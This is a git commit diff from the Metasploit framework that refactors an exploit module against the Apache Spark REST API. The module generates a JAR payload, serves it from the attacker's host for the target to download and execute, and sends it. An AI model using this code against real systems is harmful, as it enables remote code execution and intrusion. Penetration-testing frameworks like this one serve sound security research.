Fix code as jrobles suggest.

GSoC/Meterpreter_Web_Console
Green-m 2018-11-21 11:24:50 +08:00
parent 9884bea84e
commit 2197da4cd9
No known key found for this signature in database
GPG Key ID: 7A4A0E684B5D6747
1 changed files with 4 additions and 19 deletions

View File

@ -49,11 +49,6 @@ class MetasploitModule < Msf::Exploit::Remote
Opt::RPORT(6066)
])
register_advanced_options([
OptString.new('DownUri', [false, 'The URI to use for this exploit to download and execute. (default is random)'])
])
deregister_options('URIPATH')
end
def check
@ -69,24 +64,14 @@ class MetasploitModule < Msf::Exploit::Remote
@pl = generate_payload.encoded_jar
print_error("Failed to generate the payload.") unless @pl
path = datastore['DownUri'] || rand_text_alpha(8..16)
if datastore['SRVHOST'].empty? || datastore['SRVHOST'] == '0.0.0.0'
binding_ip = Rex::Socket.source_address('1.2.3.4')
else
binding_ip = datastore['SRVHOST']
end
path = resource_uri
binding_ip = srvhost_addr
proto = datastore['SSL'] ? 'https' : 'http'
@payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}"
print_status("Starting up our web service ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => '/' + path
}})
start_service({'Path' => path})
send_payload
@ -118,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
res_json = res.get_json_document
if res_json.empty? || !res_json['serverSparkVersion']
if res_json.empty? || res_json['serverSparkVersion'].nil?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.")
return false
end